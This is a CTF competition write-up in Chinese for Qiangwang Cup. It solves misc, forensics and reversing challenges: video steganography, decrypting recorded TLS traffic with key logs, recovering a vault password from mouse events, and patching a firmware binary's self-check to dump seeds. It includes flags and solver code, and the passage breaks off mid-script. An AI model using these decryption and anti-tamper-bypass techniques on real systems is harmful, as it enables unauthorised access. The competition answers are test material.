强网杯

强网杯杂

急急急,气气气

pwn 的天下了,17道 pwn /(ㄒoㄒ)/~~

Misc

1. 宇宙微波背景辐射

​ 附件是一个视频,末尾有雪花屏。刚好之前在 b站有看到相关科普,连续的雪花屏可以对时间求导,这样能得到中间动态的部分。

​ 然后分析了一下发现视频还藏了很多东西,首先是他藏了第二条视频轨道,也是雪花屏。还有附加了两个压缩包在里面,g2.tar和g4.tar。

​ 把这些给codex让他帮忙把雪花屏藏得信息拿出来,结果他告诉我字幕轨道还有雪花屏,哇,真没招了。

​

原始来源 明确的编号信息 复原文字
第二视频轨前 200 帧 只有帧时间戳 f1a9{S
第二视频轨后 200 帧 只有帧时间戳 0f_cM6_
g2.tar 明确路径 g2/000000.png~000199.png 3cr3t_
字幕轨 字幕序号、时间戳,没有 g3 标签 1n51d3_
g4.tar 明确路径 g4/000000.png~000199.png h1dd3n_
主视频末尾 只有帧时间戳 5tr34m}

答案:flag{S3cr3t_0f_cM6_h1dd3n_1n51d3_5tr34m}

2. Dreambound

​ AI 模型相关。

​ 模型叫 WorldModel(世界模型),包含:

​ GRUCell:根据动作更新隐藏状态。

​ Decoder:从隐藏状态预测观测值。

​ Reward Head:预测每个动作带来的奖励。

​ Continue Head:预测过程是否继续。

​ 题目中的 imagine() 会让模型在没有真实环境的情况下,仅凭自己预测的状态和奖励来模拟一段动作序列。

​ 模型有 5 种离散动作,编号 0~4,容器中要求输入 48 个 0 到 4 的整数,达到一定的分数之后,就可以拿到 flag。

设动作序列为 \(a_0,\ldots,a_{47}\),则:

[
h_0=0,\qquad h_{t+1}=\operatorname{GRU}(\operatorname{onehot}(a_t),h_t)
]

[
r_t=R(h_{t+1}),\qquad S(a)=\sum_{t=0}^{47}r_t.
]

​ 任务因此可以视为一个白盒、确定性的离散轨迹优化问题。直接穷举需要检查 (5^{48}\approx3.55\times10^{33}) 条路径,无法完成。但已知网络结构和权重,可以利用中间隐藏状态、奖励分解和梯度构造候选,再用原模型精确评分。

​ 常规搜索下,只能拿到 843.6837 的最高分,但是还是拿不到 flag 。

​ {“actions”:[1,1,1,1,1,0,2,0,2,0,2,0,2,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0]}

​ {“ok”: true, “score”: 843.6837}

​ 后续考虑尝试激活那些隐藏的权重高的神经元来使奖励更高。但是不断尝试局部优化、大幅度更换,依旧无法超过 843 .

​ 后续搜索保留不同触发时间、激活规模和隐藏状态的候选,并枚举带有稳定动作段和 2,2 的准备结构。

​ 其中一条有效准备前缀为:

1
2 2 2 4 4 3 4 3 4 0 4 0 3 2 3 3 3 3 2 2

​ 它在第 20 步产生约 274.0019 的奖励。优化后续 28 步后,完整得分达到 777.5436。

​ 最终突破来自以完整 48 步累计奖励为目标的候选搜索。它结合了梯度引导和不依赖梯度的结构修改。

​ 对当前整数动作路径反向传播,计算:

[
\lambda_{t+1}=\frac{\partial S}{\partial h_{t+1}}.
]

​ 固定当前历史状态 (h_t),枚举当前位置的五个动作,得到真实的一步状态差:

[
\Delta h_{t,a}=\operatorname{GRU}(e_a,h_t)-h_{t+1}.
]

​ 用下面的量估计替换动作的价值:

[
g_{t,a}=\lambda_{t+1}^{\mathsf T}\Delta h_{t,a}.
]

​ 这样既利用了后续收益的梯度,也避免把离散动作之间的大幅门控变化完全近似成输入端的小扰动。不过,(g_{t,a}) 仍只是线性估计。

核心代码可写成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# model 为冻结权重后的原始模型,actions 是长度 48 的整数张量。
h = model.initial().requires_grad_(True)
before, after = [], []
objective = torch.zeros(())

for t in range(48):
before.append(h)
x = F.one_hot(actions[t:t+1], 5).float()
h = model.step(h, x)
h.retain_grad()
after.append(h)
objective = objective + model.predict_reward(h).sum()

objective.backward()

with torch.no_grad():
old_h = torch.cat([v.detach() for v in before])
nominal = torch.cat([v.detach() for v in after])
costate = torch.cat([v.grad.detach() for v in after])
alternatives = model.step(
old_h.repeat_interleave(5, 0), torch.eye(5).repeat(48, 1)
).reshape(48, 5, 384)
gains = ((alternatives - nominal[:, None])
* costate[:, None]).sum(dim=2)

​ 每轮生成 768 个候选,包含:

  • 所有单位置替换,以及联合修改多个高估计收益位置的候选;
  • 按引导权重抽样的多位置修改;
  • 连续动作段替换;
  • 插入或删除 1–5 个动作,再截断或补零,保证长度始终为 48。

​ 所有候选均用原始模型计算完整累计收益。保留最优解,同时周期性从附近的高分候选继续探索,避免搜索一直停在同一条路径。

​ 在 777 分路径的第 8 个动作之前插入:

1
4 3 3 2

​ 然后将整条序列截断为 48 步,就得到了一条约 1052.7068 分的候选。继续优化后续动作,得分提高到 1084.4407

​ 新路径在第 23、24 步连续触发:

步数 单步奖励 激活的 D 单元数 D 的贡献 置零 D 后的奖励
23 241.208801 161 255.882828 −14.674040
24 476.462799 161 481.080475 −4.617641

​ 两步中,输出权重大于 2.5 的 29 个单元均被激活。对第二层输出做消融时,最后一层是线性的

​ 完整路径的收益分解为:

阶段 累计奖励
第 1–22 步:准备 −2.316927
第 23–24 步:连续触发 717.671631
第 25–48 步:后续收益 369.085999
完整 48 步 1084.440674

​ 准备阶段自身几乎没有收益,但两步奖励足以覆盖这部分成本

​ {“actions”:[2,2,2,4,4,3,4,4,3,3,2,3,4,0,4,0,3,2,3,3,3,3,2,2,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,3,1,1,0,0,0]}

​ {“ok”:true,”score”:1084.4407}

​ 拿到 flag。

3. 谍影重重

这道题目的基础部分思路和我在 Nebuctf 出的流量题基本相同,这里属于是 promax 版。

超级 promax 版。

我原本的 Nebu 题目大概是通过 browse key 解密原本加密的 TLS 流量,然后检查流量发现协议升级为 websocket,然后复原里面的传输图片

还有一题是键盘取证。然后这道谍影重重就是两者结合。

Wireshark 打开管理端抓包,过滤:

1
tcp.port == 8006

可以找到浏览器访问的 PVE HTTPS 服务:

1
192.168.117.10:8006

在 Wireshark 中打开:

1
Edit → Preferences → Protocols → TLS

将 (Pre)-Master-Secret log filename 设置为 browser.keys。

解密后可以观察 HTTP 请求及 WebSocket 升级过程。

关键请求:

1
2
3
GET /api2/json/nodes/pve-lab/qemu/219/vncwebsocket?port=5900&vncticket=...
Host: 192.168.117.10:8006
Upgrade: websocket

PVE API 的路径结构是:

1
/nodes/<节点名称>/qemu/<VMID>/vncwebsocket

因此得到:

  • 节点:pve-lab
  • VMID:219

PVE 的 noVNC 控制台使用 WebSocket 封装 RFB 协议。

解密 HTTPS 后,可以看到:

1
2
3
4
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: upgrade
Sec-WebSocket-Protocol: binary

服务器接着发送:

1
RFB 003.008

说明使用 RFB 3.8 协议。

服务端初始化信息包含:

1
2
3
Framebuffer Width  = 1024
Framebuffer Height = 768
Desktop name = QEMU (OFFICE01)

RFB 的 FramebufferUpdate 消息格式:

1
2
3
4
5
6
7
8
9
10
11
1 byte   Message Type (0)
1 byte Padding
2 bytes Number of Rectangles

随后每个矩形:
2 bytes X
2 bytes Y
2 bytes Width
2 bytes Height
4 bytes Encoding Type
... 编码数据

前面出现的两条更新只涉及伪矩形信息,没有实际像素内容

随后找到:

1
00 00 00 8f

其中 0x008f = 143,表示 143 个矩形。

这 143 个矩形全部采用 RFB Tight 编码(Encoding 7)。

依次处理矩形的坐标、宽高、编码类型和压缩内容。

Tight 编码需要正确处理压缩流重置位、zlib 解压、调色板、填充矩形等规则,再将像素写入对应坐标。

frame

frame.png:

1
from PIL import Imagefrom hashlib import sha256im = Image.open("first_frame.png").convert("RGB")rgb = im.tobytes()print(im.size)print(len(rgb))print(sha256(rgb).hexdigest())

得到:

1
2
3
4
尺寸:1024 × 768
RGB888 长度:2359296 字节
SHA-256:
ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334

在 Wireshark 中过滤:

1
tcp.port == 3389

得到主要 RDP 会话:

1
10.23.8.10:49702 → 10.23.8.41:3389

所以目标为 10.23.8.41:3389。

RDP 连接建立阶段的 X.224 Connection Request 中存在:

1
Cookie: mstshash=Tsuki

得到用户名线索 Tsuki。

从 RDP 服务端的 TLS 证书提取 Subject,可以看到:

1
CN=CORE01

由此关联出计算机名 CORE01

服务端 192.168.117.10 向浏览器发送 RFB 显示数据;浏览器侧 192.168.117.1 发送键盘、指针等操作

会话前半段在空白记事本上有一系列看似无意义的点击和窗口拖动。结合按下、移动、释放事件以及窗口位置,可以识别出两种承载符号的操作:

  • 记事本正文中的短点击:点 .。
  • 按住标题栏并拖动窗口:划 -。

用于激活窗口的短标题栏点击、窗口外的分隔点击不计入符号。拖动过程中连续发送的大量 PointerEvent 属于同一次按下—释放过程,只记一个划。正文短点击约为 0.11—0.19 秒,标题栏拖动约为 0.39—0.76 秒

帧:

组 点操作的起始帧 划操作的起始帧 按时间排列的编码 字符
1 4505 4210 -. N
2 无 4863 - T
3 5332、5471、5609、5760 5858 ….- 4
4 6345、6450、6532 6668 …- V
5 7266、7746 7393、7570 .–. P
6 8139、8252、8399、8529、8739 无 ….. 5
7 9671、9820 9244、10042 -..- X
8 11287、11533 10549、10734、10976 —.. 8
9 11948、12059、12220、12336 12540 ….- 4
10 13064、13200 13435、13576、13670 ..— 2
11 14442、14626 14147 -.. D
12 15181、15295 14952 -.. D

逐组解码并拼接得到候选仓库口令:

NT4VP5X842DD

将 rdp.keys 设置为内部抓包的 TLS 密钥日志后,可解析 RDP 的磁盘重定向虚拟通道 rdpdr。目录与文件操作中出现 \repo\config、\repo\keys\...、\repo\snapshots\...、\repo\data\...,可识别为 Restic 仓库。

tshark -r ‘E:\zanshi\dy\internal-r2-take01.pcap’ -o 'tls.keylog_file:E:\zanshi\dy\rdp.keys'

-Y rdpdr -T json -x -j ‘frame rdp rdpdr’

提取时保留 -x 输出的 rdp_raw。恢复过程分两层:

  1. 虚拟通道重组。 RDP 通道 PDU 头包含总长度和 FIRST/LAST 标志,先把同方向的分片拼成完整 RDPDR PDU。
  2. 文件 I/O 重组。 跟踪 CREATE 请求、完成响应返回的 FileId,以及 CompletionId;对于 READ 完成响应或 WRITE 请求,按文件偏移写回对应路径。

重组后仓库含 1 个 config、1 个密钥文件、2 个索引、2 个快照及 4 个数据包。除 config 外,其余 9 个对象的 SHA-256 均与其完整对象名一致

在恢复出的仓库上执行:

$env:RESTIC_PASSWORD = ‘NT4VP5X842DD’

restic -r ‘.\work\rdp_files\repo’ –no-lock snapshots –json

restic -r ‘.\work\rdp_files\repo’ –no-lock check –read-data

得到两个快照,时间均为 UTC+8:

快照时间 完整快照 ID
23:16.5 0800e6132171a2cc8c2a5e9b77369e81e62fc1a9ebb4395f3421f87461f6ba0a
23:30.2 d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d

check --read-data 实际读取全部 4 个数据包,并检查索引、快照、树和数据对象,最终输出:

no errors were found

因此第二个快照同时满足时间最新、数据可完整读取这两个条件。

通过 restic ls latest 可见原始路径为:

/C/Users/Tsuki/Documents/VaultLabR2/source/MouseVault.exe

/C/Users/Tsuki/Documents/VaultLabR2/source/core-assets.vault

直接导出文件可避免把原机器的目录 ACL 一并恢复到分析目录:

$env:RESTIC_PASSWORD = ‘NT4VP5X842DD’

$repo = ‘.\work\rdp_files\repo’

restic -r $repo –no-lock dump latest '/C/Users/Tsuki/Documents/VaultLabR2/source/MouseVault.exe'

–target ‘.\work\MouseVault.exe’

restic -r $repo –no-lock dump latest '/C/Users/Tsuki/Documents/VaultLabR2/source/core-assets.vault'

–target ‘.\work\core-assets.vault’

文件 字节数 SHA-256
MouseVault.exe 18944 b2fa4fd1a2aff2e86b2da6c3f1e5290d7c0f28c50df0dc99c84a05d78d1cffd7
core-assets.vault 2424948 57da4829edbb78c1307f3b036284e194cfbfcc4922375e600441d7e04f3d9a99

MouseVault.exe 为 .NET 程序。检查 PressTracker、PadKey 与 VaultForm 的方法可知:

  • 按下按钮时,PressTracker.Begin 保存当时按钮的文字及有效按下状态。
  • 移动过程中,只要离开原按钮,或实际位于指针下方的窗口不再是该按钮,Cancelled 就会被置为真。
  • End 只有在已按下、未取消、释放时仍位于有效按钮内时,才返回保存的 Token。
  • 数字通过 Accepted 事件追加到密码;退格 删除末尾一位,清空 清空已有输入。
  • Completed 对应的回调可重新打乱数字布局。取消的操作也可能触发这一路回调,故不能以键盘重排作为该数字被输入的证据。

数字键盘会重排,所以必须读取每次按下前的实际布局,并检查整个按下—释放过程。记事本遮住了界面上部的输入显示,不能依赖密码框的视觉结果。

下表中的坐标是按下位置

按下帧 坐标 X,Y 当时按钮 判定
30612 396,571 清空 生效,清空密码
30776 507,507 0 生效
31022 394,377 3 取消,按住后移动到按钮外
31297 384,500 0 生效
31500 597,506 6 生效
31587 597,504 1 生效
31782 619,380 1 取消,按住后移动到按钮外
32237 607,442 8 生效
32346 404,386 7 生效
32535 495,500 9 取消,中途离开按钮,返回也不恢复有效状态
33043 402,493 3 生效
33208 498,377 9 生效
33383 513,373 6 取消,按住后移动到按钮外
33745 483,387 3 生效
33871 481,561 2 生效,但下一步被退格删除
33994 609,574 退格 生效,删除末尾的 2
34190 385,382 1 生效
34347 474,562 7 生效
34475 383,506 9 生效

四次取消的轨迹分别为:

按下帧 释放帧 关键事实
31022 31193 从 394,377 移到 168,387,离开原键
31782 31955 从 619,380 移到 792,379,离开原键
32535 32770 X 曾到达 693,离开原键后又返回;仍为取消
33383 33445 从 513,373 移到 790,368,离开原键

key

排除取消项后,有效操作为:

清空 → 0 → 0 → 6 → 1 → 8 → 7 → 3 → 9 → 3 → 2 → 退格 → 1 → 7 → 9

最终密码为 006187393179。这个密码能够通过 .vault 的 HMAC 校验并完成实际解密

根据 VaultCrypto.Open 方法,加密文件的结构为:

偏移 长度 含义
0x00 8 ASCII 魔数 MVLT0001
0x08 4 小端迭代次数,本文件为 200000
0x0C 16 PBKDF2 Salt
0x1C 16 AES IV
0x2C 8 小端密文长度,本文件为 2424864
0x34 密文长度 AES-CBC 密文
文件末尾 32 HMAC-SHA256

密码按 UTF-8 编码,以 PBKDF2-HMAC-SHA256 派生 64 字节:前 32 字节作为 AES-256 密钥,后 32 字节作为 HMAC 密钥。HMAC 覆盖文件中除末尾 32 字节标签外的所有数据。先验证 HMAC,再执行 AES-CBC 解密,并移除 PKCS#7 填充。

解密后的内部结构为:

文件名 UTF-8 字节长度(UInt16,小端)|文件名 UTF-8 字节|原始文件内容

文件名应从该内嵌字段读取,而不是简单地把 .vault 扩展名替换为 .db。本文件内嵌名称长度为 14 字节,解出的名称为 core-assets.db。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
"""Decode MVLT0001; verify HMAC before AES decryption."""
import argparse
import hashlib
import hmac
import sqlite3
import struct
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

p = argparse.ArgumentParser()
p.add_argument('vault', type=Path)
p.add_argument('output_dir', type=Path)
p.add_argument('--password', default='006187393179')
a = p.parse_args()
b = a.vault.read_bytes()
assert b[:8] == b'MVLT0001', 'Invalid magic'
iterations = struct.unpack_from('<I', b, 8)[0]
assert 100000 <= iterations <= 1000000
salt, iv = b[12:28], b[28:44]
n = struct.unpack_from('<Q', b, 44)[0]
assert n > 0 and n % 16 == 0 and n == len(b)-84
keys = hashlib.pbkdf2_hmac('sha256', a.password.encode('utf-8'), salt, iterations, 64)
expected = hmac.new(keys[32:], b[:-32], hashlib.sha256).digest()
assert hmac.compare_digest(expected, b[-32:]), 'Wrong password or corrupted vault (HMAC mismatch)'
inner = unpad(AES.new(keys[:32], AES.MODE_CBC, iv).decrypt(b[52:-32]), 16)
name_len = struct.unpack_from('<H', inner)[0]
assert 0 < name_len <= 4096 and 2+name_len <= len(inner)
name = inner[2:2+name_len].decode('utf-8')
assert name not in ('.', '..') and not any(c in name for c in '\\/:*?"<>|\0')
content = inner[2+name_len:]
a.output_dir.mkdir(parents=True, exist_ok=True)
dest = a.output_dir / name
dest.write_bytes(content)
print('HMAC-SHA256: OK')
print(f'{name}|{len(content)}|{hashlib.sha256(content).hexdigest()}')
if content.startswith(b'SQLite format 3\0'):
con = sqlite3.connect(dest.resolve().as_uri()+'?mode=ro', uri=True)
print('SQLite integrity_check:', con.execute('PRAGMA integrity_check').fetchone()[0])
con.close()

实际输出:

1
2
3
HMAC-SHA256: OK
core-assets.db|2424832|5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419
SQLite integrity_check: ok

该结果与直接调用原程序 VaultCrypto.Open 的结果一致。原始内容以 SQLite format 3\0 开头,SQLite 的 PRAGMA integrity_check 返回 ok。

RFB 画面中的保存对话框也显示默认输出文件名为 core-assets.db,与内嵌文件名相互印证:

screen

6题全部解答之后得到 flag。

剩下的 NeuronShuffle 由队友解出,0perator 不会。

Reverse

1. ELFStudy

gpt直出

首先通过:

1
2
readelf -dW elfstudy
readelf -rW elfstudy

发现 .rela.dyn 的实际大小为 600 字节,但动态段的 DT_RELASZ 声明了 1512 字节,覆盖了部分 .rela.plt。

更异常的是出现了对 .dynsym 和 .rela.plt 本身进行写入的重定位项。

磁盘上的静态代码可能不是运行时真正执行的代码。

发现文件偏移 0x739A 开始有 812 字节高熵数据,而 0x3B30 处原本是一个 NOP 空函数。

利用 LD_PRELOAD,在 main 运行之前导出程序内存后,发现:

1
2
3
4
5
6
7
8
9
10
; 静态
0x3b30: endbr64
0x3b34: nop
...
ret

; 运行时
0x3b30: endbr64
0x3b34: call 0x739a
0x3b39: ret

并且 0x739A 已经恢复为可执行的 x86-64 函数。

这就找到了真正的 flag 校验逻辑。

程序将 argv[1] 保存到全局缓冲区,隐藏函数读取它,要求格式为:

1
flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

中间 32 个十六进制字符转成 16 字节,按小端拆成两个 64 位整数,再经过 30 轮 Feistel 变换。

每轮核心为:

img

而 Feistel 可以直接逆运算:

img

所以不需要爆破 128 位输入,只需要从最终的两个目标值倒推 30 轮。

flag{4865f2079724968a95c217e0ff4db6c6}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
"""ELFStudy CTF solve — reverse the 30-round Feistel checker.

The constants were extracted from decrypted runtime code at VA 0x739a.
No third-party dependencies are required.
"""

MASK = (1 << 64) - 1
PHI = 0x9E3779B97F4A7C15


def rol(x, n):
return ((x << n) | (x >> (64 - n))) & MASK


def ror(x, n):
return ((x >> n) | (x << (64 - n))) & MASK


# Runtime code at 0x7537..0x7558 XOR-decodes both 64-bit seeds.
keys = [
0xD868187917BB2795 ^ 0xC7CEA69E35F49213,
0x939EC78E9D68B6EB ^ 0xC562921852331BB3,
]

# Schedule at 0x757f..0x75c1; it uses (x|y)+(x&y) as x+y.
for i in range(2, 32):
keys.append(
rol((keys[i - 1] + keys[i - 2]) & MASK, 13)
^ ror(keys[i - 2], 7)
^ ((PHI * i) & MASK)
)


def round_function(r, k):
# Assembly implements XOR by (x|y)-(x&y), and addition by
# (x|y)+(x&y), operating modulo 2^64.
return ((rol((r + k) & MASK, 13) ^ rol(r, 29)) + rol(r, 47)) & MASK


# Comparison target at VA 0x76a6.
l, r = 0x4FB335A84FA7D2D7, 0x02A183E3B4F4F49F

# Invert (L,R) -> (R, L XOR F(R, round_key)) backwards.
for i in range(31, 1, -1):
l, r = r ^ round_function(l, keys[i]), l

original = (l ^ keys[0]).to_bytes(8, "little") + (
r ^ keys[1]
).to_bytes(8, "little")
flag = f"flag{{{original.hex()}}}"
print(flag)

# Verify by reapplying all 30 rounds.
l = int.from_bytes(original[:8], "little") ^ keys[0]
r = int.from_bytes(original[8:], "little") ^ keys[1]
for i in range(2, 32):
l, r = r, l ^ round_function(r, keys[i])

assert (l, r) == (0x4FB335A84FA7D2D7, 0x02A183E3B4F4F49F)
print("Feistel forward verification: OK")

2. firmware

解压 qwb2026_firmware.tar.gz 得到:

文件 大小 类型 / 用途
fw_a 1,038,824 字节 x86-64 ELF,静态链接,已去符号;OTA 校验与 VM 执行
fw_b.bin 2,936 字节 RV32 ELF,包含密钥材料生成函数和自身完整性检查
ota_package.bin 176 字节 三段加密字节码及加密 flag

fw_a 中可找到参数提示:

1
usage: %s <ota_package.bin> <keymat_hex32> <vm_out8_hex16>

需要恢复 16 字节 keymat 和 8 字节 vm_out8。程序成功时只输出 twin-fw: verification ok,不会直接打印 flag。

以下 fw_a 的关键地址都满足 文件偏移 = 虚拟地址 - 0x400000。

fw_b.bin 的入口为 0x108fe,.text 起始地址为 0x100b4。主逻辑读取自身 ELF,定位 .text 与 .selfhash,执行 SM3 完整性校验。

在 0x103fa 处调用 0x10818。后者是一个不依赖外部输入的混合计算函数,计算结果写入 a0 指向的 16 字节缓冲区。

因此不必完整模拟系统调用,直接用 Unicorn 执行该函数:

1
2
3
4
5
6
7
8
9
u = Uc(UC_ARCH_RISCV, UC_MODE_RISCV32)
u.mem_map(0x10000, 0x10000)
u.mem_write(0x10000, fw_b)
u.mem_map(0x100000, 0x10000)
u.reg_write(UC_RISCV_REG_SP, 0x10f000)
u.reg_write(UC_RISCV_REG_A0, 0x10e000)
u.reg_write(UC_RISCV_REG_RA, 0x1090e)
u.emu_start(0x10818, 0x1090e)
keymat = bytes(u.mem_read(0x10e000, 16))

得到:

1
keymat = dd97cb2de25cea1a8a9bc49b81abf9f4

fw_a 在 0x401df9 附近计算 SM3(keymat),比较其前 16 字节与文件偏移 0xb3200 的常量:

1
559a63419fb92be76c8fc4a23d8f62b8

恢复出的 keymat 通过这一校验。

fw_a 文件偏移 0xb3240 存在长度为 0x20028 的数据块:

1
QWBWBTAB | permutation[32] | tables[32][4][256]

其中表项为大端 32 位整数,总长度为:

1
8 + 32 + 32 × 4 × 256 × 4 = 0x20028

程序还会校验该数据块的 SM3 前 16 字节:

1
23b8b3e3f72d04943776e4f440e86f99

观察各表,表项只有一个字节非零。把第 j 张子表右移 8*j 位后,可以识别出 SM4 S-box 的输入异或形式:

1
table[r][j][x] >> (8*j) = Sbox[x XOR byte_key]

对每张表枚举 byte_key ∈ [0,255],比较全部 256 个输入即可恢复每轮四个字节。四个字节按 SM4 大端字序组成轮密钥。

逻辑轮次与物理表位置的关系为:

1
round_keys[i] = stored_round_keys[permutation[i]]

然后逆推 SM4 密钥扩展:

1
2
3
K[i] = K[i+4] XOR T'(K[i+1] XOR K[i+2] XOR K[i+3] XOR CK[i])
T'(x) = τ(x) XOR ROL32(τ(x),13) XOR ROL32(τ(x),23)
MK = (K[0], K[1], K[2], K[3]) XOR FK

结果为:

1
SM4 key = b5202c7d3801350533bacbe58a2be07c

将该主密钥重新展开,全部 32 个轮密钥都与表中提取结果一致。

OTA 主要字段如下,整数除特别说明外均为小端:

偏移 含义
0x00 魔数 QWBP
0x04 版本号,程序按 uint16 校验为 1
0x08 16 字节 nonce:000102030405060708090a0b0c0d0e0f
0x18 分段数量,程序按 uint16 读取,值为 3
0x1c 三段明文拼接后的 SM3,32 字节
0x3c 分段表,每项为 offset:uint32, length:uint32, crc32:uint32
0x60 第一段密文
0x86 魔数 QWBPFLAG
0x8e flag 密文长度,值为 30
0x92 flag 密文

每段字节码的加密流由 fw_a 的 0x403430 函数生成:

1
2
stream = SM3(seed || BE32(0)) || SM3(seed || BE32(1)) || ...
plaintext = ciphertext XOR stream

首段 seed 可以直接算出:

1
seed0 = SM3(b'QWBP-NONCE' + nonce)[:16]

后续 seed 与分段执行状态有关。本解法直接在流生成函数入口导出每次实际使用的 seed,避免重新实现父子进程间的 ptrace 状态交互。

在副本 fw_debug 上进行以下修改,原始 fw_a 保留用于最终验证:

  1. 将文件偏移 0x1fb3 开始的 6 字节条件跳转改成 NOP,暂时跳过依赖未知 vm_out8 的派生值比较。
  2. 将 0x403430 入口改成跳转,到 0x401810 的插桩代码。
  3. 插桩代码保存寄存器,执行 write(2, rdi, rsi),将 seed 写到 stderr,然后恢复寄存器、补回原入口指令,跳回 0x403436。
  4. 重算修改后 .text 的 SM3,写回 .selfhash。

这里 .text 文件范围为 [0x11c0, 0x11c0 + 0xaa6fd),.selfhash 文件范围为 [0xea6c0, 0xea6e0)。只 patch 跳转而不更新自校验值,程序会退出。

solve.py 会自动完成插桩,并在 Linux 中把 stderr 重定向到 seeds.bin。三个 seed 为:

1
2
3
1d68b974d9a947585299359995b99dcb
e5e90ae3c72ac33522b45a3bf86d358f
92a8d529960b51b72619152a8600d2e3

由此解密得到:

1
2
3
segment 0: 01410102028100820111028100
segment 1: 8203015a81418203019f013e
segment 2: 017c011a015b012d0184016004

三段 CRC32 均通过,明文拼接后的 SM3 也与包头完全一致:

1
0c040489ce8a2b6194899cd3e01af0f8b9d3e9406e9b4948783104b55849015c

字节码先按如下方式映射到处理器编号:

1
2
typ = opcode & 0x7f
handler = (opcode >> 7) * 4 + typ - 1

只有 typ == 1 的指令消耗一个后续立即数字节。本题实际用到的指令如下:

opcode 行为
01 imm8 将立即数压栈
02 弹出两个值,异或后压栈
03 弹出一个值,输出其低字节
04 结束执行
81 imm8 将 ROL8(imm8 XOR 0x5a,4) 压栈
82 弹出两个值,异或后将低字节循环左移 3 位,再压栈

从 0x4f6080 的处理器指针表可定位到实际 x86 指令片段,因而不必把动态重编码的指令缓存当作新的算法。

第一段结束后的栈为:

1
[0x26, 0xa5]

第二段会输出并弹出两个字节,最后留下:

1
[0x9f, 0x3e]

第三段继续压入六个值,结束时栈为:

1
[0x9f, 0x3e, 0x7c, 0x1a, 0x5b, 0x2d, 0x84, 0x60]

这里要注意:所需的 vm_out8 是最终八个栈值对应的字节。

1
vm_out8 = 9f3e7c1a5b2d8460

文件偏移 0xb3210 的 23 字节常量逐字节异或 0x5a,得到:

1
QWB2026::TWIN::DEVICE-A

按照 fw_a 中的派生过程计算:

1
2
3
secret_hash = SM3(b'QWB2026::TWIN::DEVICE-A')[:16]
root = SM3(keymat + secret_hash + vm_out8)[:16]
counter = SM3(b'twin-ctr' + root)[:16]

结果为:

1
2
root    = d15b7a4d0a95f859b589b24a14b356a6
counter = 74150ea892fb5e9683815f03b5035db5

SM3(counter)[:16] 与程序中的比较常量一致:

1
cc6bc929b72471e6094c50776b65ff91

在解压目录运行未修改的原始程序:

1
./fw_a ota_package.bin dd97cb2de25cea1a8a9bc49b81abf9f4 9f3e7c1a5b2d8460

输出:

1
twin-fw: verification ok

尾段保存的 30 字节密文为:

1
75601579d696d729dc3605f1c42d15fe59bfb30d4d7f2c5c95d573a8d482

最终使用白盒表恢复出的 SM4 主密钥,以前一步得到的 counter 为 CTR 初值。计数器按大端 128 位整数递增,第一块直接使用初值:

1
2
3
4
5
6
initial = int.from_bytes(counter, 'big')
keystream = b''.join(
SM4_ENCRYPT(sm4_key, (initial + i).to_bytes(16, 'big'))
for i in range(2)
)
flag = xor(ciphertext, keystream[:30])

解密得到:

1
flag{d230_5a75cf4_d8fb3e5_bae}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
"""QWB firmware solver. Requires Python with SM3 and unicorn; Linux x86-64 or WSL."""
from pathlib import Path
import argparse, hashlib, os, shlex, struct, subprocess, tempfile, tarfile
from unicorn import Uc, UC_ARCH_RISCV, UC_MODE_RISCV32
from unicorn.riscv_const import UC_RISCV_REG_SP, UC_RISCV_REG_A0, UC_RISCV_REG_RA

def sm3(x): return hashlib.new('sm3', x).digest()
S=bytes.fromhex('d690e9fecce13db716b614c228fb2c05 2b679a762abe04c3aa44132649860699 9c4250f491ef987a33540b43edcfac62 e4b31ca9c908e89580df94fa758f3fa6 4707a7fcf37317ba83593c19e6854fa8 686b81b27164da8bf8eb0f4b70569d35 1e240e5e6358d1a225227c3b01217887 d40046579fd327524c3602e7a0c4c89e eabf8ad240c738b5a3f7f2cef96115a1 e0ae5da49b341a55ad933230f58cb1e3 1df6e22e8266ca60c02923ab0d534e6f d5db3745defd8e2f03ff6a726d6c5b51 8d1baf92bbddbc7f11d95c411f105ad8 0ac13188a5cd7bbd2d74d012b8e5b4b0 8969974a0c96777e65b9f109c56ec684 18f07dec3adc4d2079ee5f3ed7cb3948')
def rol(x,n):return ((x<<n)|(x>>(32-n)))&0xffffffff
def tau(x):return sum(S[(x>>(8*j))&255]<<(8*j) for j in range(4))
def lp(x):return x^rol(x,13)^rol(x,23)
def recover(ks):
K=[0]*4+ks[:]
for i in range(31,-1,-1):
ck=int.from_bytes(bytes(((4*i+j)*7)&255 for j in range(4)),'big')
K[i]=K[i+4]^lp(tau(K[i+1]^K[i+2]^K[i+3]^ck))
return struct.pack('>4I',*(x^y for x,y in zip(K[:4],[0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc])))
def expand(key):
K=[x^y for x,y in zip(struct.unpack('>4I',key),[0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc])]
for i in range(32):
